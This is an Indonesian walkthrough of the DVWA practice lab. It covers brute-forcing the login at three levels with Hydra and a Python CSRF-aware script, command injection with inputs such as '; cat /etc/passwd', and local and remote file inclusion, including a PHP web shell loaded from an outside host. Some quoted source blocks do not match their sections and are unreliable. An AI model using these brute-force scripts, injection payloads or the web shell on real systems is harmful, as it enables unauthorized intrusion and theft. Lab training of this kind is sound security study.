http://172.17.0.2/vulnerabilities/brute/?username=admin&password=12345&Login=Login#
```

Untuk mengetahui lebih lanjut tenang method `GET` ini, anda bisa membaca [artikel CodeSaya](https://codesaya.com/a/method-post-dan-get-pada-form-gnmjgzbsdt/).

Dan jika inputan salah akan muncul pesan seperti pada baris ke-26, yaitu muncul pesan seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzLA_a9XPm27LtPnBVu%2F-LzLDzQltbirYKPItXxJ%2FDeepinScreenshot_select-area_20200124132720.png?alt=media\&token=7abba448-5047-44f3-8e99-ad65e337d966)

Selain itu kita bisa melihat *cookie*-nya terlebih dahulu menggunakan Burpsuite (atau menggunakan *inspect element* pada browser).

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzLA_a9XPm27LtPnBVu%2F-LzLGmkddKi5RvNaoUeJ%2FDeepinScreenshot_select-area_20200124133814.png?alt=media\&token=41f4b821-cc64-4826-bb99-632910a1d2a9)

Terlihat bahwa terdapat *cookie* `PHPSESSID` dan `security` yang digunakan untuk mengatur web itu sendiri. *Cookie* ini akan kita gunakan untuk melakukan brute force.

Jika kita mengamati *source-code*-nya lagi, terlihat bahwa tidak adanya Anti-CSRF token, limit maupun CAPTCHA. Dengan demikian kita bisa dengan mudah melakukan brute force.

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Pertama, siapkan wordlist yang akan kita gunakan. Saya telah membuat wordlist sendiri, seperti berikut:<br>

{% file src="/files/Xean8sOV1WTVm7MMahzP" %}

{% file src="/files/LIUY0p0XDB8LQmvKU6z1" %}
DVWA Wordlist
{% endfile %}

Kedua, buka terminal dan jalankan *tool* Hydra seperti berikut:

```bash
hydra 172.17.0.2 -l admin -P DVWA-Wordlist.txt http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect.:H=Cookie:PHPSESSID=77jr5376ldag1qc392brdr2b11; security=low"
```

Penjelasan:

* `172.17.0.2` adalah IP target yang kita tuju (bisa juga menggunakan domain).
* `-l admin`, di sini saya mengasumsikan bahwa kita tahu username dari target adalah *"admin"* (bukan yang lain).
* `-P DVWA-Wordlist.txt` berfungsi untuk menentukan file wordlist untuk password yang akan dicoba satu per satu.
* `http-get-form` berfungsi untuk menentukan method yang digunakan pada form adalah `GET`.
* `username=^USER^&password=^PASS^` nilai tersebut akan diisi dari username (`-l`) dan password (`-P`) yang telah kita tentukan sebelumnya.
* `F=Username and/or password incorrect.` digunakan untuk membandingkan hasil brute force. Jika menghasilkan teks tersebut berarti password tidak valid.
* `H=Cookie:` digunakan untuk mengatur *cookie* yang digunakan ketika mengakses web tersebut.

Hasil dari perintah di atas adalah seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzLA_a9XPm27LtPnBVu%2F-LzLNdvsZvWSsGbKEBs2%2FDeepinScreenshot_select-area_20200124140931.png?alt=media\&token=7f0f2906-29af-4a09-b796-84f8c0fd3d9a)

Terlihat bahwa kata *"password"* adalah password yang valid.

Jika kita coba pada web, maka akan tampil seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzLA_a9XPm27LtPnBVu%2F-LzLO1imH2a0WPyxCQIM%2FDeepinScreenshot_select-area_20200124141118.png?alt=media\&token=20a12958-76e3-4f50-a811-f2a166946741)

Yups! Selamat! Kita berhasil melakukan brute force pada level low, sekarang kita lanjut ke level medium.😁<br>


# Medium

Brute Force level Medium on DVWA

Di bawah ini adalah *source-code* dari form login level medium di DVWA.

```php
vulnerabilities/brute/source/medium.php
<?php
​
if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
​
    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );
​
    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
​
    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];
​
        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }
​
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
​
?>
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Tidak jauh berbeda dengan level sebelumnya, hanya saja ketika gagal melakukan login akan ada jeda selama 2 detik (terlihat di baris ke-28).

Dan jika di cek menggunakan Burpsuite, yang berubah hanyalah nilai dari *cookie* `security`.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzLORQjEljieIBJY-0a%2F-LzLXTEAR0D03PpPcJ2V%2FDeepinScreenshot_select-area_20200124145224.png?alt=media\&token=33fc8508-909c-4ad7-9f05-34d0612b5ebe)

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Karena tidak jauh berbeda dengan level yang sebelumnya, maka kita masih menggunakan perintah yang sama seperti sebelumnya, hanya saja nilai dari `security` pada *cookie* kita rubah menjadi "*medium*".

```
hydra 172.17.0.2 -l admin -P DVWA-Wordlist.txt http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect.:H=Cookie:PHPSESSID=77jr5376ldag1qc392brdr2b11; security=medium"
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzLORQjEljieIBJY-0a%2F-LzLYyfFCA4ZfWa0rGAl%2FDeepinScreenshot_select-area_20200124145858.png?alt=media\&token=583ec82d-540b-475c-b0a6-b8024516d8ca)

Hasilnya sama seperti sebelumnya, tetapi proses kali ini akan lebih lama karena akan terjadi *delay* 2 detik ketika gagal melakukan login.

Selamat! Kita berhasil dan akan lanjut ke level berikutnya.<br>


# High

## High

Brute Force level High on DVWA

Di bawah ini adalah *source-code* dari form login level high di DVWA.

```php
vulnerabilities/brute/source/high.php

<?php
​
if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
​
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
​
    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );
​
    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
​
    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];
​
        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }
​
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
​
// Generate Anti-CSRF token
generateSessionToken();
​
?>
```

## Mendapatkan Informasi <a href="#mendapatkan-informasi" id="mendapatkan-informasi"></a>

Pada level high ini, server akan melakukan validasi Anti-CSRF token terlebih dahulu. Dan jika gagal melakukan login akan terjadi *delay* 0-3 detik.

Singkatnya, **Anti-CSRF token** adalah token yang bersifat unik (setiap adanya *request* baru nilanya akan berubah) yang digunakan untuk memastikan user melakukan *request* secara resmi.

Jika kita melakukan *inspect element*, maka akan terlihat terdapat tag `input` bertipe *hidden* dengan nama `user_token` beserta nilainya.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzLORQjEljieIBJY-0a%2F-LzLk81b17EnXBggG2li%2Fimage.png?alt=media\&token=fb8d7e73-fea0-4143-91dd-06a586fae775)

Nilai dari token tersebut akan selalu berubah ketika kita melakukan *request* yang baru (coba saja anda *refresh*, pasti hasilnya akan berbeda).

Jika kita memaksa untuk menggunakan nilai yang sama, maka *request* akan gagal dilakukan dan halaman akan di-*redirect* ke form login kembali.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzLORQjEljieIBJY-0a%2F-LzLloq5uw3u7lCt35rv%2FDeepinScreenshot_select-area_20200124155745.png?alt=media\&token=f556309b-499e-4593-b5d3-4f27ab3c7ecf)

Untuk menghadapi masalah ini kita tidak bisa menggunakan **Hydra** lagi, karena tidak bisa mengatasi Anti-CSRF token yang selalu berubah-ubah. Oleh karena itu, kita akan melakukan brute force dengan membuat *script* sendiri menggunakan bahasa Python.

```python
nano bruteforce.py

/Tulis script berikut
from sys import argv
import requests
from BeautifulSoup import BeautifulSoup as Soup
​
# give our arguments more semantic friendly names
script, filename, success_message = argv
txt = open(filename)
​
# set up our target, cookie and session
url = 'http://172.17.0.2/vulnerabilities/brute/index.php'
cookie = {'security': 'high', 'PHPSESSID':'77jr5376ldag1qc392brdr2b11'}
s = requests.Session()
target_page = s.get(url, cookies=cookie)
​
''' 
checkSuccess
@param: html (String)
​
Searches the response HTML for our specified success message
'''
def checkSuccess(html):
 # get our soup ready for searching
 soup = Soup(html)
 # check for our success message in the soup
 search = soup.findAll(text=success_message)
 
 if not search:
  success = False
​
 else:
  success = True
​
# return the brute force result
 return success
​
# Get the intial CSRF token from the target site
page_source = target_page.text
soup = Soup(page_source);
csrf_token = soup.findAll(attrs={"name": "user_token"})[0].get('value')
​
# Display before attack
print 'DVWA URL' + url
print 'CSRF Token='+ csrf_token
​
# Loop through our provided password file
with open(filename) as f:
 print 'Running brute force attack...'
 for password in f:
​
# Displays password tries and strips whitespace from password list  
  print 'password tryed: ' + password
  password = password.strip()
​
  # setup the payload
  payload = {'username': 'admin', 'password': password, 'Login': 'Login', 'user_token': csrf_token}
  r = s.get(url, cookies=cookie, params=payload)
  success = checkSuccess(r.text)
​
  if not success:
   # if it failed the CSRF token will be changed. Get the new one
   soup = Soup(r.text)
   csrf_token = soup.findAll(attrs={"name": "user_token"})[0].get('value')
  else:
   # Success! Show the result
   print 'Password is: ' + password
   break
​
# We failed, bummer. 
 if not success:
  print 'Brute force failed. No matches found.'
```

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Pertama, kita siapkan dulu *script*-nya seperti berikut:

*Script* tersebut saya dapatkan ketika membaca artikel [Danny Beton](https://medium.com/@dannybeton/dvwa-brute-force-tutorial-high-security-456e6ed3ae39).

*Script* tersebut menggunakan Python2. Sebelum menjalankannya, pastikan dependensi telah terinstall.

```bash
sudo pip install requestssudo pip install beautifulsoup
```

Untuk menjalankan *script* tersebut, kita membutuhkan parameter untuk nama file wordlist dan pesan sukses untuk menentukan keberhasilannya, seperti berikut:

```bash
python2.7 bruteforce.py DVWA-Wordlist.txt "Welcome to the password protected area admin"
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzLORQjEljieIBJY-0a%2F-LzLxTt88Mx2zuQD-zqx%2FDeepinScreenshot_select-area_20200124165025.png?alt=media\&token=2d93a6c9-c822-47e0-8ef6-6a913f409450)

Jika berhasil, akan muncul password yang valid seperti gambar di atas.


# Command Injection

**Command Injection** adalah salah satu jenis serangan yang sangat berbahaya, karena peretas bisa menjalan perintah secara sewenang-wenang pada komputer victim.

## Apa itu Command Injection?

**Command Injection** adalah serangan yang mana tujuannya adalah mengeksekusi perintah secara sewenang-wenang pada sistem operasi melalui aplikasi yang rentan.

Serangan *command injection* bisa terjadi ketika sebuah aplikasi (*forms*, *cookies*, HTTP *headers*, dll) bisa menjalankan perintah yang tidak aman dari inputan user ke sistem shell.

Biasanya, hak akses yang dimiliki oleh peretas akan sama dengan aplikasi yang rentan tersebut. Misalnya, di DVWA ini terdapat kerentanan *command injection* dan aplikasi ini berjalan dengan user `www-data`pada sistem operasi linux, sehingga peretas akan menjalankan perintah pada komputer target sebagai user `www-data` tersebut.

## Apa itu Shell?

Maksud kata *"command"* di sini apa? apakah perintah pada bahasa pemrograman? Jawabannya adalah perintah dari shell yang digunakan oleh user di komputer tersebut.

Umumnya, Unix dan Linux menggunakan Bash sebagai shell default-nya. Sedangkan di Windows terdapat Command Prompt dan PowerShell.

## Pengetahuan yang Harus Dimiliki

Pemahaman yang paling penting untuk melakukan *command injection* adalah pemahaman tentang *command*  itu sendiri. Contohnya pada DVWA ini *command* yang di maksud adalah shell bash, sehingga pentester harus memiliki pemahaman tentang shell bash tersebut.

## Bagaimana Cara Mengatasi Command Injection?

Ada beberapa cara untuk menangani *command injection* ini, diantarnya adalah seperti berikut:

1. Jangan izinkan perintah `exec` ke sistem operasi jika itu bisa dihindari.
2. Melakukan validasi input dari user dengan cara melarang untuk memasukan perintah-perintah yang berbahaya.
3. Netralkan meta karakter yang memiliki makna pada shell komputer target.
   1. **Untuk Windows:** Awali setiap karakter dengan ‘`^`’ untuk "melarikan diri" dan menetralkan makna khususnya kepada penerjemah baris perintah: `() <> & * ‘| =? ; [] ^ ~! . ”% @ / \: +,`.
   2. **Untuk Linux dan Unix:** Awali setiap karakter dengan ‘`\`’ untuk menghindarinya dan menetralkan makna khususnya kepada penerjemah baris perintah: `{} () <> & * ‘| =? ; [] $ - # ~! . ”% / \: +,`.
4. Dan lain-lain.


# Low

Di bawah ini adalah *source-code* dari *command injection* level low di DVWA.

```php
vulnerabilities/xss_d/source/low.php

<?php
​
# No protections, anything goes
​
?> 
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

​[`shell_exec()`](https://www.php.net/manual/en/function.shell-exec.php) adalah fungsi bawaan PHP yang berfungsi untuk menjalankan perintah melalui shell dan mengembalikan output yang lengkap sebagai string.

Terlihat bahwa pada baris ke-10 dan 14 program ini menjalankan perintah **ping** ke target yang diinputkan oleh user.

Contoh dari penggunaan program ini adalah seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzLzMX7uh3MhnDx4FrW%2F-LzMZcaWddMMtWx7vQGN%2Fimage.png?alt=media\&token=3ecba17e-4333-4ca9-bbcf-791db9e99992)

Jika kita perhatikan *source code*-nya, tidak ada validasi inputan. Pada Unix/Linux, tanda `;` memungkinkan user bisa menjalankan beberapa perintah sekaligus pada satu baris yang sama.

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Setelah mengetahui bahwa tidak ada validasi input, kita bisa memanfaatkan `;` untuk menjalankan perintah lainnya. Seperti contohnya `8.8.8.8; whoami` yang digunakan untuk mengetahui user yang sedang digunakan.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzNB8sTkF__Fy92pViR%2F-LzNDloML-tU1ULxjvPD%2Fimage.png?alt=media\&token=f78554f5-b2bf-43e5-b675-f8a17a8f5e03)

Kita juga bisa melihat isi dari file **/etc/passwd** dengan memasukkan `8.8.8.8; cat /etc/passwd`, membuat *backdoor*, dll. Maka dari itu, *command injection* ini sangatlah berbahaya.

Selanjutnya, anda bisa melakukan *back connect*, dengan cara reverse shell atau bind shell. Penjelasan tentang *back connect* bisa anda baca [di sini](https://medium.com/@nairpaa/post-exploitation-with-netcat-fb63a03703e7).

### Alternatif `;` <a href="#alternatif" id="alternatif"></a>

Selain menggunakan `;` kita juga memiliki alternatif lain seperti berikut yang bisa digunakan di shell bash.

* `&&` — AND Operator
* `|` — PIPE Operator (menghapus hasil ping dari output)

Selamat! Kita telah berhasil melakukan *command injection*. Silahkan anda bisa mencoba melakukan eskalasi lebih lanjut.😆


# Medium

Command Injection level Medium on DVWA

Di bawah ini adalah *source-code* dari *command injection* level medium di DVWA.

```php
vulnerabilities/exec/source/medium.php
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Terlihat dibaris ke-7 sampai 11, terdapat *blacklist* untuk string `&&` dan `;` pada inputan. Tetapi seperti yang telah di bahas sebelumnya terdapat alternatif lain yaitu `|`. 😁

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Cukup ganti inputan menjadi menggunakan tanda `|`, dan hasilnya akan seperti berikut:

{% hint style="info" %}
Jika menggunakan `|` maka hasil dari perintah **ping** tidak akan muncul. Karena pipeline akan melakukan perintah terakhir apabila perintah-perintah sebelumnya tidak terkait atau tidak dapat menjadi input untuk perintah berikutnya.
{% endhint %}


# High

## High

Command Injection level High on DVWA

Di bawah ini adalah *source-code* dari *command injection* level high di DVWA.

```php
vulnerabilities/xss_r/source/high.php
<?php
​
header ("X-XSS-Protection: 0");
​
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
​
    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
​
?> 
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Pada level ini, *blacklist* yang diberikan menjadi semakin banyak. Tetapi jika kita teliti, di baris ke-11 terdapat celah😁 . `'| ' => ''` terdapat spasi setelah `|` . Ini bisa kita manfaatkan dengan cara menjalankan perintah langsung tanpa spasi setelah `|`.

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Sekarang kita coba menginputan `8.8.8.8 |whoami` (digabung antara pipeline dan command) seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzNB8sTkF__Fy92pViR%2F-LzNr7a78vhc-PR1t13X%2Fimage.png?alt=media\&token=38f4f8db-c7c6-4720-a59a-800ef37ee70d)


# Local File Inclusion

## Apa itu File Inclusion? <a href="#apa-itu-file-inclusion" id="apa-itu-file-inclusion"></a>

**File Inclusion** adalah serangan yang ditujukan kepada website yang memiliki celah keamanan yang biasanya menggunakan fungsi memanggil file melalui suatu inputan dinamis, dalam hal ini berarti seseorang dapat mengganti alamat file yang akan dipanggil dan kemudian diproses.

Efek dari serangan ini cukup besar, peretas bisa saja mengambil informasi penting pada server, merubah dan menghapus data, hingga menyisipkan *shell backdoor/malware*.

Terdapat 2 jenis *file inclusion*, yaitu:

* **Local File Inclusion (LFI)**, hanya bisa melihat data yang ada di dalam server tersebut.
* **Remote File Inclusion (RFI)**, kita bisa mengambil file diluar jaringan agar bisa dijalankan.

## Pengetahuan yang Harus Dimiliki <a href="#pengetahuan-yang-harus-dimiliki" id="pengetahuan-yang-harus-dimiliki"></a>

Ada beberapa pengetahuan yang sangat penting menurut saya untuk melakukan *file inclusion* ini, yaitu:

1. Pengetahuan tentang *HTTP request*,
2. Pengetahuan tentang bahasa pemrograman untuk membuat shell,
3. Dan pengetahuan tentang hirarki direktori dari sistem operasi target.

## Remidiasi <a href="#bagaimana-cara-mengatasi-csrf" id="bagaimana-cara-mengatasi-csrf"></a>

1. Melakukan validasi atau sanitasi terhadap *input* yang diberikan oleh *user*. Web harus dapat membedakan format/karakter *input* user berdasarkan tujuan dari *input* tersebut. Berdasarkan kasus ini, *dot-dot-slash (../)* dapat disanitasi oleh sistem untuk mencegah *path traversal.*
2. Melakukan pembatasan akses ke luar direktori aplikasi. Aplikasi web harus diatur agar tidak ada permintaan dari *user* untuk akses ke luar direktori web yang diijinkan.
3. Mengurangi *input* langsung yang memungkinkan *user* dapat memanipulasi parameter yang akan langsung di eksekusi oleh server.


# Low

File Inclusion level Low on DVWA

Di bawah ini adalah *source-code* dari *file inclusion* level low di DVWA.

```php
vulnerabilities/fi/source/low.php
<?php
​
// The page we wish to display
$file = $_GET[ 'page' ];
​
?> 
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Saat pertama kali kita mengakses halaman *file inclusion*, terdapat parameter **page** pada URL yang memanggil file **include.php**.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-rzDLW-m9bYHjbnB9u%2F-M-sSOmYwhTTIfu_bHfH%2Fimage.png?alt=media\&token=2923222c-ba5b-4dd8-9644-152533972ad0)

Jika kita klik **file1.php**, maka nilai parameter **page** akan menggunakan nama file tersebut dan menampilkan isinya, seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-rzDLW-m9bYHjbnB9u%2F-M-szE5aoRSw9fbWCmB_%2Fimage.png?alt=media\&token=9dd8f2d1-b952-4995-81d3-e2d9bb5733e7)

Ketika saya coba menginputkan `../` (untuk mundur 1 direktori) tidak terdapat pesan *error* apa pun. Dengan begitu kita bisa mencoba untuk melakukan eskalasi lebih lanjut.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-rzDLW-m9bYHjbnB9u%2F-M-t0CTXDlBaa0WHxwox%2Fimage.png?alt=media\&token=8e054e75-fea3-45c6-a399-af6ca6c5fb40)

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Karena ada 2 jenis *file inclusion*, kita akan mencoba keduanya.

### Local File Inclusion <a href="#local-file-inclusion" id="local-file-inclusion"></a>

Contohnya saya akan mencari file **/etc/passwd** pada server. Untuk itu saya harus mundur beberapa direktori dari tempat web server saat ini.

Setelah saya coba berkali-kali, akhirnya saya menemukan jawabannya, yaitu mundur 5 direktori terlebih dahulu.

```
?page=../../../../../etc/passwd
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-rzDLW-m9bYHjbnB9u%2F-M-t12dPEktMQrKMMrzJ%2Fimage.png?alt=media\&token=3cd3a052-ddee-4e17-bf78-0595f3924d0e)

Yup! Dan sekarang kita bisa melihat isi dari file tersebut.

Cara lainnya adalah anda bisa langsung menggunakan payload seperti berikut:

```
?page=/etc/passwd
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-uT15NZNobc-fi-ZAV%2F-M-uVF_eCvN2mwf_mYGc%2Fimage.png?alt=media\&token=35bf0c88-026d-4e5d-a5af-0aa48d9c6806)

Selanjutnya anda bisa meng-*explore* lebih jauh lagi.😁

### Remote File Inclusion <a href="#remote-file-inclusion" id="remote-file-inclusion"></a>

Kali ini kita akan membuat shell terlebih dahulu, lalu kita akan upload file tersebut ke suatu server yang bisa diakses oleh server target dan kita melakukan RCE.

```php
RFI-shell.txt
<body>
  <form action="<?php $link=(isset($_SERVER['HTTPS']) ? "https" : "http")."://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; echo "{$link}"?>" method="POST">
    <center>
      <br>
      <h1> Remote File Inclusion - SHELL </h1>
      <h2>
        Command:
        <input type="text" name="cmd" value=""/>
        <input type="submit" name="submit" value="cmd">
      </h2>
    </center>
  </form>
​
  <?php
    if(isset($_POST["cmd"])) {
      $cmd = $_POST["cmd"];
      $output = shell_exec("{$cmd}");
      echo "<h2>".$cmd."</h2>"."<pre>".$output."</pre>";
    }
  ?>
</body>
```

Langsung saja, pertama-tama kita buat shell seperti di bawah ini lalu upload ke hosting/VPS kalian:

Setelah di-upload, panggil file tersebut melalui celah *file inclusion*. Contohnya di sini shell bisa diakses di **<http://0.0.0.0/RFI-shell.txt>**.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-rzDLW-m9bYHjbnB9u%2F-M-t4KpvBcrvedkdlQ7k%2Fimage.png?alt=media\&token=1c47ede6-c19e-46be-b614-b53cb7429b30)

Dan jika berhasil, kita bisa menjalankan RCE seperti di atas. Gimana? NGERI? haha😅

Tetap semangat! Happy Hacking!🍻


# Medium

File Inclusion level Medium on DVWA

Di bawah ini adalah *source-code* dari *file inclusion* level Medium di DVWA.

```php
vulnerabilities/fi/source/medium.php
<?php
​
// The page we wish to display
$file = $_GET[ 'page' ];
​
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
​
?> 
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Kali ini jika kita kita menggunakan `../` atau `..\"` untuk LFI dan `http://` atau `https://` untuk RFI, maka yang teks yang mengandung kata tersebut akan dihilangkan oleh fungsi [`str_replace()`](https://www.w3schools.com/php/func_string_str_replace.asp).

Untuk mengatasi hal ini saya menemukan cara, yaitu menggunakan *payload* berikut:

```http
..././ -> ../ #hasil setelah dihilangkan
```

dan

```http
hthttp://tp://0.0.0.0/RFI-Shell.txt -> http://0.0.0.0/RFI-Shell.txt #hasil setelah dihilangkan
```

Bagaimana? Apakah anda mengerti? Perhatikan pada *payload* `..././`, `str_replace()` akan menghilangkan karakter `../` sehingga hasilnya menjadi `../`. Dan begitu juga yang RFI. Keren bukan? 😅

Atau kita juga bisa membuka file melalu direktori `/`, seperti **/etc/passwd** seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-uT15NZNobc-fi-ZAV%2F-M-uVF_eCvN2mwf_mYGc%2Fimage.png?alt=media\&token=35bf0c88-026d-4e5d-a5af-0aa48d9c6806)

Kita sebagai peretas memang harus kreatif untuk mengatasi berbagai masalah.😉

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Oke, pada kali ini sepertinya kita tetap bisa melakukan LFI maupun RCI.

### Local File Inclusion <a href="#local-file-inclusion" id="local-file-inclusion"></a>

Di sini saya contohkan mengakses file **/etc/passwd** menggunakan cara "mundur direktori", sehingga *payload* yang bisa digunakan adalah seperti berikut:

```
?page=..././..././..././..././..././etc/passwd
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-rzDLW-m9bYHjbnB9u%2F-M-tEVVwCUOmvuIOgzpf%2Fimage.png?alt=media\&token=a2832ce8-95c6-4f97-81cd-4291f96bccc3)

Dan hasilnya berhasil!

### Remote File Inclusion <a href="#remote-file-inclusion" id="remote-file-inclusion"></a>

Dari informasi yang telah kita kumpulkan, *payload* yang akan kita gunakan saat ini adalah seperti berikut:

```http
?page=hthttp://tp://18.215.230.19/RFI-shell.txt
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-rzDLW-m9bYHjbnB9u%2F-M-tFwEuS06IUx7m4Goj%2Fimage.png?alt=media\&token=398a253e-4a15-41c6-968b-6ae985070518)

Dan hasilnya shell bisa dijalankan.

Selamat kawan! Happy Hacking! 🍻


# High

File Inclusion level High on DVWA

Di bawah ini adalah *source-code* dari *file inclusion* level High di DVWA.

```php
vulnerabilities/fi/source/high.php
<?php
​
// The page we wish to display
$file = $_GET[ 'page' ];
​
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}
​
?> 
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Perhatikan pada *source code* di atas, parameter page hanya diizinkan ketika file tersebut diakses dengan diawali kata *"file"* atau bernama **include.php**. Jika salah, maka akan muncul tampilan seperti berikut:

